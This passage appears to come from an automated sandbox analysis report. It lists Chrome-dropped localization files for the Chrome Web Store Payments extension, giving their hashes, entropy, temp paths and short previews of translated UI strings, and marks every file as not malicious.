SSDEEP: 12:1HEJfPGGGfPG+WYpU34Ze7z+dgrW9O8ZpU34ZwZz03OyZnLAOfTYgoLIR:1HEdvqlWYpTeObk8ZpT/OGAOfuLIR

MD5: CFF6CB76EC724B17C1BC920726CB35A7

SHA1: 14ED068251D65A840F00C05409D705259D329FFC

SHA-256: C85800BF45942FCC7FD6B1DF929C25F9CC2A977A6678966BD03D4B6B69889AFD

SHA-512: 53D7D01BB30C0306DE65A79FD9551D2E8C1F71F4F45F71906B009071CB3E0F231E6A50FDD78773E9B4DE94085BC7B97F829842FA21A89A2080D33458B745C46F

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Chrome'i veebipoe maksed"..   },..   "app_name": {..      "message": "Chrome'i veebipoe maksed"..   },..   "craw_app_unavail
able": {..      "message": "Rakendus pole praegu saadaval."..   },..   "craw_connect_to_network": {..      "message": "Looge .hendus v.rguga."..   },..   "iap_unavailable": {..    
  "message": "Rakendusesisesed maksed ei ole praegu saadaval."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   
"please_sign_in": {..      "message": "Logige Chrome'i sisse."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 647

Entropy (8bit): 4.595421267152647

Encrypted: false

SSDEEP: 12:1HEJRuzGGRuz+WYpU34ujSBu+dgYO8ZpU34J+Bu03OyZnLAOfTY5HN:1HEFcWYpPNa8ZpD+FOGAOfEHN

MD5: 3A01FEE829445C482D1721FF63153D16

SHA1: F3EAAADDC03F943FC88B30B67F534AA13E3336DD

SHA-256: 0BDE54B20845124113383B6EB81E43A0F05E4EB0C44BEE3C1DFAC4CC5FEC2836

SHA-512: 3B92B6C86D30FD36AA3CEFF8773BA60C3FC5CC19C693540137044C5838A5503895C770C0336A4D0A3DB5E42F3FB36274D8D3F85B9DCA2F3EC0E974FDDB0BEA
D8

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Chrome Web Storen maksut"..   },..   "app_name": {..      "message": "Chrome Web Storen maksut"..   },..   "craw_app_unavail
able": {..      "message": "Sovellus ei ole t.ll. hetkell. k.ytett.viss.."..   },..   "craw_connect_to_network": {..      "message": "Muodosta verkkoyhteys."..   },..   "iap_unavai
lable": {..      "message": "Sovelluksen sis.iset maksut eiv.t ole t.ll. hetkell. k.ytett.viss.."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be 
completed."..   },..   "please_sign_in": {..      "message": "Kirjaudu sis..n Chromeen."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 658

Entropy (8bit): 4.5231229502550745

Encrypted: false

SSDEEP: 12:1HEJADlbGGADlb+WYpU34hTUT+dgHfZAFFZO8ZpU34hTjzeT03OyZnLAOfTYHfvF:1HEYah6WYp7TUSoxOS8Zp7TOsOGAOfqV

MD5: 57AF5B654270A945BDA8053A83353A06

SHA1: EEEF7A4F869F97CF471A05D345E74F982D15E167

SHA-256: EC002ED92359F67818B49455DFC579E140368E6A004080AF022FD4F57F6B03F2

SHA-512: 5F0AE839FCF3F4EA48FF41A76655AE0F3821564AFD5D42FBB9FBB9A38E8D8F7BB5E9B6F71064588CD441261F644095A44A755C134CE546D506D9A21E488BAF5
2

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Mga Pagbabayad sa Chrome Web Store"..   },..   "app_name": {..      "message": "Mga Pagbabayad sa Chrome Web Store"..   
},..   "craw_app_unavailable": {..      "message": "Kasalukuyang hindi available ang app."..   },..   "craw_connect_to_network": {..      "message": "Mangyaring kumonekta 
sa isang network."..   },..   "iap_unavailable": {..      "message": "Kasalukuyang hindi available ang Mga Pagbabayad na In-App."..   },..   "jwt_retrieve_failed": {..      
"message": "The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "Mangyaring mag-sign in sa Chrome."..   }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\et\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\fi\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\fil\messages.json
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Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 677

Entropy (8bit): 4.552569602149629

Encrypted: false

SSDEEP: 12:1HEJALf/nbGGALf/nb+WYpU34Owdgbyb+dgdQjO8ZpU34ITQpGnbyb03OyZnLAO8:1HE4Hna1Hn6WYpNdgpY8ZpSTQwnBOGAh

MD5: 8D11C90F44A6585B57B933AB38D1FFF8

SHA1: 3F9D44EA8807069A32AACA2AAAD02FD892E6CC90

SHA-256: 599491F8C52B945C16C441ADF45BFD45AFAE046DA07757D97C56AF4DE75ED3B5

SHA-512: D7EF7F5AD7EF1A1595825D79B69E2B1E988AD3CF1F3881496FCCD30F241E4E9C6E457F9F5D0F855DE3536DB7A40C3E1C55946B50D3F556F4A35285066A0CD6F
7

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Paiements via le Chrome.Web.Store"..   },..   "app_name": {..      "message": "Paiements via le Chrome.Web.Store"..   },..   
"craw_app_unavailable": {..      "message": "Application indisponible pour le moment."..   },..   "craw_connect_to_network": {..      "message": "Veuillez vous connecter . un 
r.seau."..   },..   "iap_unavailable": {..      "message": "Les paiements via l'application ne sont pas disponibles pour le moment."..   },..   "jwt_retrieve_failed": {..      
"message": "The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "Veuillez vous connecter . Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 835

Entropy (8bit): 4.791154467711985

Encrypted: false

SSDEEP: 24:1HEs07J0JWYp9vnCSVLP8Zp6CsOGAOf8SLm:Wh7qgYp1CMLUph1GiSLm

MD5: E376D757C8FD66AC70A7D2D49760B94E

SHA1: 1525C5B1312D409604F097768503298EC440CC4D

SHA-256: 8106D98C4F8DA16DB698444409558E29CC96735E188BFA303C333A5D99231C1D

SHA-512: 673F3F259AF2946E4F49BBED14A2A70D44BF9FDA9D7A71DC9172BA9B7B3C7F7062B16D29682B638D485B0520ED6F99E7A735F28C7C719B539559005B69FA7555

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Chrome ... ..... ......"..   },..   "app_name": {..      "message": "Chrome ... ..... ......"..   },..   "craw_app_unavailable": {..      "messa
ge": "......... .. ... ...... .... ..."..   },..   "craw_connect_to_network": {..      "message": "..... ....... .. ...... ....."..   },..   "iap_unavailable": {..      "message": "..-.. ...... ... ...... .... ..."..   
},..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "..... Chrome ... .... .. ....."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 618

Entropy (8bit): 4.56999230891419

Encrypted: false

SSDEEP: 12:1HEJGiimxmbZGGGiimxmbZ+WYpU34OBOEuhopIO+dgcapZO8ZpU34GiiZrMrQphK:1HE4H4TH8WYpNjTta28ZpQVLP0SOGAOK

MD5: 8185D0490C86363602A137F9A261CC50

SHA1: 5BD933B874441CEACB9201CCC941FF67BAED6DC0

SHA-256: A2B2EC359A9DD9DCCCE02859CE1E738BD30FAA4A05F1DC522893FFDF722BBC15

SHA-512: D7629978FC031EA5F716F9C1065FB2FEAB48C15F10CD68830DC966FA1002C03DDC7ACDE314C7D075F9F3A0A68552A6ACBCCDEE24CF20B6C3DD1BCE6562D03
96E

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Pla.anja u web-trgovini Chrome"..   },..   "app_name": {..      "message": "Pla.anja u web-trgovini Chrome"..   },..   "craw
_app_unavailable": {..      "message": "Aplikacija trenuta.no nije dostupna."..   },..   "craw_connect_to_network": {..      "message": "Pove.ite se s mre.om."..   },..   
"iap_unavailable": {..      "message": "Pla.anje u aplikaciji trenuta.no nije dostupno."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be comple
ted."..   },..   "please_sign_in": {..      "message": "Prijavite se na Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\fr\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\hi\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\hr\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\hu\messages.json
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File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 683

Entropy (8bit): 4.675370843321512

Encrypted: false

SSDEEP: 12:1HEJVJiGGVJi+WYpU34Hpo9O+dgMmfgijO8ZpU34Huo9O03OyZnLAOfTYBIAYm:1HEVrk5WYpQzTUg/8ZpwoXOGAOfYIAd

MD5: 85609CF8623582A8376C206556ED2131

SHA1: 1E16EB70DB5E59BB684866FF3E3925C2DEF25A12

SHA-256: 32A249749F12ADB6A220BF9ADC272C7E5D9AD5497A38B0086D961E3ABA17FBC6

SHA-512: 27883430865D3CFA6EDFE8C6CE1442BD96150B5CE520CCF7D556A330CAA6392C712B47BD86F7350E174876BC681F6DEC94D1312402655B0AF90883A2899EC78B

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Chrome Internetes .ruh.z Fizet.si rendszere"..   },..   "app_name": {..      "message": "Chrome Internetes .ruh.z Fizet.si r
endszere"..   },..   "craw_app_unavailable": {..      "message": "Az alkalmaz.s jelenleg nem .rhet. el."..   },..   "craw_connect_to_network": {..      "message": "K.rj.k, csatlako
zzon egy h.l.zathoz."..   },..   "iap_unavailable": {..      "message": "Az alkalmaz.son bel.li fizet.s jelenleg nem .rhet. el."..   },..   "jwt_retrieve_failed": {..      "message": "The 
transaction could not be completed."..   },..   "please_sign_in": {..      "message": "Jelentkezzen be a Chrome-ba."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 604

Entropy (8bit): 4.465685261172395

Encrypted: false

SSDEEP: 12:1HEJs25bGGs25b+WYpU34ORBHAeSJ+dgkmO8ZpU34s22C/SzFAs03OyZnLAOfTYR:1HEBaA6WYpaHFH8ZptOYOGAOf2D

MD5: EAB2B946D1232AB98137E760954003AA

SHA1: 60BDC2937905B311D2C9844DF2D639D7AC9F7F67

SHA-256: C6E8800450602DE0F39FE9F6854472383813FB454B08ABAE7E25A9167CE004C3

SHA-512: 970FEC9A9EF0BAF7F693C4C5977F3B47914579C5B5414FCE9DBB5E4574659A5BB9AD2DE0CC886B368F49C019785AF7D2D7FE82F71341F039EADC399ED776CA
12

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Pembayaran Chrome Webstore"..   },..   "app_name": {..      "message": "Pembayaran Chrome Webstore"..   },..   "cr
aw_app_unavailable": {..      "message": "Aplikasi tidak tersedia saat ini."..   },..   "craw_connect_to_network": {..      "message": "Sambungkan ke jaringan."..   },..   
"iap_unavailable": {..      "message": "Pembayaran Dalam Aplikasi saat ini tidak tersedia."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be co
mpleted."..   },..   "please_sign_in": {..      "message": "Harap masuk ke Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 603

Entropy (8bit): 4.479418964635223

Encrypted: false

SSDEEP: 12:1HEJsqd/bGGsqd/b+WYpU34OcX4+dgUvIO8ZpU34vq703OyZnLAOfTYsD:1HEXd/aKd/6WYpZrv58ZpskOGAOfzD

MD5: A328EEF5E841E0C72D3CD7366899C5C8

SHA1: 2851ED658385804E87911643F5A4200B1FB26E13

SHA-256: CD891C45F7586FB4A2514205A11F260E4A6D4482FA03D901909DD9F57BE0536D

SHA-512: E47297896E981774EC3B59D41B89D6BA9333F6B4435EB9727D8645A46B10C7D408ADE06844871FA757382FBE7E645276449DB7B1B23BC59C9A71A5CB5A5ECC57

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Pagamenti Chrome Web Store"..   },..   "app_name": {..      "message": "Pagamenti Chrome Web Store"..   },..   "craw_app_una
vailable": {..      "message": "App al momento non disponibile."..   },..   "craw_connect_to_network": {..      "message": "Collegati a una rete."..   },..   "iap_unavailable": {..      
"message": "La funzione Pagamenti In-App non . al momento disponibile."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   
"please_sign_in": {..      "message": "Accedi a Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 697

Entropy (8bit): 5.20469020877498

C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\id\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\it\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\ja\messages.json
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Encrypted: false

SSDEEP: 12:1HEJ07uGG07u+WYpU34DB+dgnsVztO8ZpU34MwiB03OyZnLAOfTYmSH:1HEcnDNWYp1kxU8Zp2wiqOGAOfpSH

MD5: 9B3A5D473C3F2BBFAEECE94A07A940B8

SHA1: 61BACA342CF766BBA15C7B4D892A0E7DAC9405AA

SHA-256: 706312A4A2AEF3317223F141EB2B82685345B7EED444F16BB4DF3A272716DA1F

SHA-512: 94F6FEE9A11BD890AB8211C98D1CC142348961EBCF756F66477A3E3A76519804B70BE0AE4E551739F8AFE32D7ADE6EDE04EF6B9B9EED03E3A857E6058EEDD4
C6

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Chrome ........"..   },..   "app_name": {..      "message": "Chrome ........"..   },..   "craw_app_unavailable": {..      "message": "..........
......."..   },..   "craw_connect_to_network": {..      "message": "................"..   },..   "iap_unavailable": {..      "message": "......................."..   },..   "jwt_retrieve_failed": {..      
"message": "The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "Chrome ............"..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 631

Entropy (8bit): 5.160315577642469

Encrypted: false

SSDEEP: 12:1HEJ1GG1+WYpU34K3aT+dgh8d0HTO8ZpU34KaNkaT03OyZnLAOfTY/YeHx:1HEajWYpc3aSl0Hq8Zpc6kasOGAOfyYA

MD5: 9F6B4D82A70C74CA751E2EAE70FAB5CF

SHA1: 0534F125FFCE8222277CF2BE3401C59DAF9217F8

SHA-256: D1467B8D037114403E8F4EFC52E88C4A7FEB96126BE4CFF883FEFF1084EF7E68

SHA-512: ED9319830314385D09C06F62EE34186E8CA576C857981205E4468A28B3ACD2AB03384E77B866032C324ABDD97A56EFD08E2D6E0C79D563578B3EC52517819BD8

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Chrome . ... .."..   },..   "app_name": {..      "message": "Chrome . ... .."..   },..   "craw_app_unavailable": {..      "message": ".. .. ... . 
....."..   },..   "craw_connect_to_network": {..      "message": "..... ......"..   },..   "iap_unavailable": {..      "message": ".. .. ... ... . ....."..   },..   "jwt_retrieve_failed": {..      "
message": "The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "Chrome. ......."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 665

Entropy (8bit): 4.66839186029557

Encrypted: false

SSDEEP: 12:1HEJpqHnkGGpqHnk+WYpU346M+dgV6O8ZpU34WzSWz03OyZnLAOfTYx:1HELqHtKqHPWYpM3A8ZpwGzOGAOfg

MD5: 4CA644F875606986A9898D04BDAE3EA5

SHA1: 722A10569E93975129D67FBDB75B537D9D622AD1

SHA-256: 7C311AB751D840D750C11553C083785813E079C1D464FE568A98C9E3EF3DB96C

SHA-512: E575E3D0622F5BD4B6C0EE79128A1B1F1882195670139D1983F4377D847141B8FB8EBB8BCED82AF3A220ED07D3577AFBE085BADC0E9C7678292B80E3EC5D344
4

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": ".Chrome. internetin.s parduotuv.s mok.jimo sistema"..   },..   "app_name": {..      "message": ".Chrome. internetin.s parduotuv.s 
mok.jimo sistema"..   },..   "craw_app_unavailable": {..      "message": "Programa .iuo metu negalima."..   },..   "craw_connect_to_network": {..      "message": "Prisijunkite 
prie tinklo."..   },..   "iap_unavailable": {..      "message": "Mok.jimai programoje .iuo metu negalimi."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could 
not be completed."..   },..   "please_sign_in": {..      "message": "Prisijunkite prie .Chrome.."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 671

Entropy (8bit): 4.631774066483956

Encrypted: false

SSDEEP: 12:1HEJFhVbGGFhVb+WYpU34wDoz+dgGedBO8ZpU34wF03OyZnLAOfTYGYID:1HENQKkWYp2Doy/em8Zp2WOGAOfRYID

MD5: C5CE2C51391EAFD3DA9E4C71549A3C28

SHA1: 1F67FF6EF6E90C0CE3AAF56ED543A3EFD381574D

C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\ko\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\lt\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\lv\messages.json
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SHA-256: 1FA1DF2CA8516DEF490FB8484E9AA498ACFF80EEF5C9258FFE42D3678E6C7DED

SHA-512: C85F6281E682F52BC2147DEA7E2F3BB4DC48D98BADA8687B05C6C7271C78EA7F5431CD51671A4184C9AE004FC53C016E3C594697F483195CCBA08A93821EEF7
0

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Chrome interneta veikala maks.jumu sist.ma"..   },..   "app_name": {..      "message": "Chrome interneta veikala maks.jumu s
ist.ma"..   },..   "craw_app_unavailable": {..      "message": "Lietotne pagaid.m nav pieejama."..   },..   "craw_connect_to_network": {..      "message": "L.dzu, izveidojiet 
savienojumu ar t.klu."..   },..   "iap_unavailable": {..      "message": "Maks.jumi lietotn.s pa.laik nav pieejami."..   },..   "jwt_retrieve_failed": {..      "message": "The transacti
on could not be completed."..   },..   "please_sign_in": {..      "message": "L.dzu, pierakstieties p.rl.k. Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 624

Entropy (8bit): 4.555032032637389

Encrypted: false

SSDEEP: 12:1HEJhiOGGhiO+WYpU34OHSN+dgFjdGFZO8ZpU34JgdN03OyZnLAOfTYiD:1HEDiHIitWYpCYJ8ZpD1OGAOfRD

MD5: 93C459A23BC6953FF744C35920CD2AF9

SHA1: 162F884972103A08ADB616A7EB3598431A2924C5

SHA-256: 2CD700AEB57D89C2E73333D0702556EE3FF3863516170F85669BC680FCBDC4E0

SHA-512: F76E6E8D8499306883C3EC1E774F7E8BB6B601096DA5A14D17D3E7D5732829542041E42B7350466589291ADCC83FB065FD591B4E20CFCF8EDC586E128ECBFCB
5

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Chrome Nettmarked-betalinger"..   },..   "app_name": {..      "message": "Chrome Nettmarked-betalinger"..   },..   "craw_app
_unavailable": {..      "message": "Appen er utilgjengelig for .yeblikket."..   },..   "craw_connect_to_network": {..      "message": "Du m. koble til et nettverk."..   },..   "iap
_unavailable": {..      "message": "Betaling i app er ikke tilgjengelig for .yeblikket."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be complet
ed."..   },..   "please_sign_in": {..      "message": "Du m. logge p. Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 615

Entropy (8bit): 4.4715318546237315

Encrypted: false

SSDEEP: 12:1HEJJQGkbGGJQGkb+WYpU34OQKJT+dgiXUmvFZO8ZpU34g7JT03OyZnLAOfTYMD:1HErxkaqxk6WYptndXI8ZpTOGAOfbD

MD5: 7A8F9D0249C680F64DEC7650A432BD57

SHA1: 53477198AEE389F6580921B4876719B400A23CA1

SHA-256: 92BE7C2DC9CFBE5A65E9CE6488D364C8D7EC19E7B67A31E4D43C1CB2B169671C

SHA-512: 969AB979546A741C0F3EDBEEB21BABA375FA8870D4FB9248CDD4C305736E332E10CAB7B64C5C078E60EC0CD73848101B390BE8F44B89C310058AF4C1CA3C8A
A7

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Betalingen via Chrome Web Store"..   },..   "app_name": {..      "message": "Betalingen via Chrome Web Store"..   },..   "cr
aw_app_unavailable": {..      "message": "App momenteel niet beschikbaar."..   },..   "craw_connect_to_network": {..      "message": "Maak verbinding met een netwerk."..   
},..   "iap_unavailable": {..      "message": "In-app-betalingen is momenteel niet beschikbaar."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be 
completed."..   },..   "please_sign_in": {..      "message": "Log in bij Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 636

Entropy (8bit): 4.646901997539488

Encrypted: false

SSDEEP: 12:1HEJbiVbGGbiVb+WYpU34OBHlBi9+dgQUg6O8ZpU34bdbfiIu03OyZnLAOfTYR5k:1HE5iVauiV6WYpIAYr8ZpxFiaOGAOfIC

MD5: 0E6194126AFCCD1E3098D276A7400175

SHA1: E8127B905A640B1C46362FA6E1127BE172F4A40F

SHA-256: E2699F98C511B18A2AFB82EAE9A4804B646C4FF1077D80E77C17A3943A6373C2

SHA-512: A71F7C7BFBBF1E37E699601AF2E095C56CBA91F90CB7556477DF31D01B83ADFB1271E1775C9BA299FF6875BBFC2B6AB47488CC88E33DEF2F6F2E0E5AC687B7
77

C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\nb\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\nl\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\pl\messages.json
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Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "P.atno.ci w sklepie Chrome Web Store"..   },..   "app_name": {..      "message": "P.atno.ci w sklepie Chrome Web Store"..   },..   
"craw_app_unavailable": {..      "message": "Aplikacja jest obecnie niedost.pna."..   },..   "craw_connect_to_network": {..      "message": "Po..cz si. z sieci.."..   },..   
"iap_unavailable": {..      "message": "P.atno.ci w ramach aplikacji s. teraz niedost.pne."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be com
pleted."..   },..   "please_sign_in": {..      "message": "Zaloguj si. w Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 636

Entropy (8bit): 4.515158874306633

Encrypted: false

SSDEEP: 12:1HEJsc/bGGsc/b+WYpU34OLw+dgn/KzO8ZpU34FjIBMwGRO03OyZnLAOfTYN+KcY:1HEb/a8/6WYp4mZ8Zp7cKlOGAOf2tD

MD5: 86A2B91FA18B867209024C522ED665D5

SHA1: 63DEC245637818C76655E01FCB6D59784BC7184E

SHA-256: 6374880FDD1F8AF1EE8AEA6A06B73BE0AB265AFCEB4FE6F08BDE3B3989264B21

SHA-512: DA6DBDE5028756421C2904F605632EE98831A25A1247E6238A931629B94CE8A00FD76F4235F118D2167304BD60F2C06B2AD78E54FF6CE53F8C38DF8C7B5AFCE4

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Pagamentos da Chrome Web Store"..   },..   "app_name": {..      "message": "Pagamentos da Chrome Web Store"..   },..   "craw
_app_unavailable": {..      "message": "Aplicativo indispon.vel no momento."..   },..   "craw_connect_to_network": {..      "message": "Conecte-se a uma rede."..   },..   
"iap_unavailable": {..      "message": "No momento, os Pagamentos no aplicativo n.o est.o dispon.veis."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction 
could not be completed."..   },..   "please_sign_in": {..      "message": "Fa.a login no Google Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 622

Entropy (8bit): 4.526171498622949

Encrypted: false

SSDEEP: 12:1HEJsZUkbGGsZUkb+WYpU34OAE+dgqxKzO8ZpU34rEpBfvPO03OyZnLAOfTYLD:1HEmUka5Uk6WYpFvdxZ8ZpSTnPlOGAOS

MD5: 750A4800EDB93FBE56495963F9FB3B94

SHA1: 8BFB915488A4EB3CB33D68E2E59F1F8447DB7D61

SHA-256: C1C94F65FABAF17DEF98A8587711A56D61B1E5607500E9B01F2824DB109F9E83

SHA-512: 2AEDEF5793406221BE76AF22031CE8C30AB5FAEAED09BB394C153E2EBE990C89C1A2A73B40D8A92842641AFCA8C77FFD808A2058602D3646FD8DAE2844406F
24

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Pagamentos via Chrome Web Store"..   },..   "app_name": {..      "message": "Pagamentos via Chrome Web Store"..   },..   "cr
aw_app_unavailable": {..      "message": "Aplica..o atualmente indispon.vel."..   },..   "craw_connect_to_network": {..      "message": "Ligue-se a uma rede."..   },..   
"iap_unavailable": {..      "message": "Os Pagamentos na app est.o atualmente indispon.veis."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be 
completed."..   },..   "please_sign_in": {..      "message": "Inicie sess.o no Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 641

Entropy (8bit): 4.61125938671415

Encrypted: false

SSDEEP: 12:1HEJqJrJZGGqJrJZ+WYpU344HIx2Z+dgrVPlZO8ZpU34qT7hI3O03OyZnLAOfTYU:1HEC4D8WYpKow8WV68ZpKhoOGAOfoVGD

MD5: 98D43E4B1054A65DF3FA3CC40AB6FB6D

SHA1: 46E0A21C4DA2BB5D4D8F837AE211C1B6FA26E7E2

SHA-256: 113A13900CBA62FE8AED06751971C23A80A99B47F9BE219CF884D57DB19611D9

SHA-512: A76DC53912A4F46714926B9EA2B22E909540E447F61F6DD72607AB7B3BB5D4A9B39E525B04C33AEC53BA813D14AC1FB5827275B2524E52B693E83171E1CD1466

Malicious: false

Reputation: low

C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\pt_BR\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\pt_PT\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\ro\messages.json
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Preview: {..   "app_description": {..      "message": "Pl..i prin Magazinul web Chrome"..   },..   "app_name": {..      "message": "Pl..i prin Magazinul web Chrome"..   },..   "cr
aw_app_unavailable": {..      "message": ".n prezent, aplica.ia nu este disponibil.."..   },..   "craw_connect_to_network": {..      "message": "Conecteaz.-te la o re.ea."..   },..   
"iap_unavailable": {..      "message": "Pl..ile .n aplica.ie nu sunt disponibile momentan."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be c
ompleted."..   },..   "please_sign_in": {..      "message": "Conecteaz.-te la Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 744

Entropy (8bit): 4.918620852166656

Encrypted: false

SSDEEP: 12:1HEJ7OJHZMSl3ZGG7OJHZMSl3Z+WYpU34zWJ2F+dgVtLSv/TO8ZpU347NWjT03On:1HElOJHZMq4uOJHZMq8WYpdWJ/YGHq8m

MD5: DB2EDF1465946C06BD95C71A1E13AE64

SHA1: FB4F3ECE9ECECEBBC6CA2A592A15FB9C1FDFB811

SHA-256: FBAF22CE6E16DE174CED8CB5EA3098CCA1C3426A2111FF33BD3E64DA64ED67AB

SHA-512: 4E0CF00BAEF1757548DEB17BBE1AF55770A0A0F7351779EF55C7DEFA6D112D0227B8865C2C22E0EC62E6E2F1C8E1632A2D0CE6828D25C5ABBF143C990116F6
32

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "......... ....... ........-........ Chrome"..   },..   "app_name": {..      "message": "......... ....... ........-........ Chrome"..   },..   "craw_app_u
navailable": {..      "message": ".......... ..........."..   },..   "craw_connect_to_network": {..      "message": "............ . ....."..   },..   "iap_unavailable": {..      "message": "....... ..... 
.......... ..........."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "....... . Chrome."..   }..
}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 647

Entropy (8bit): 4.640777810668463

Encrypted: false

SSDEEP: 12:1HEJfZGGfZ+WYpU34ORO+dgmmCO8ZpU34yH7u2Z03OyZnLAOfTYCUAi0D:1HEl4G8WYpetPmD8ZpcH7aOGAOfzUeD

MD5: 8DF215D1EFBDABB175CCDD68ED8DCB0A

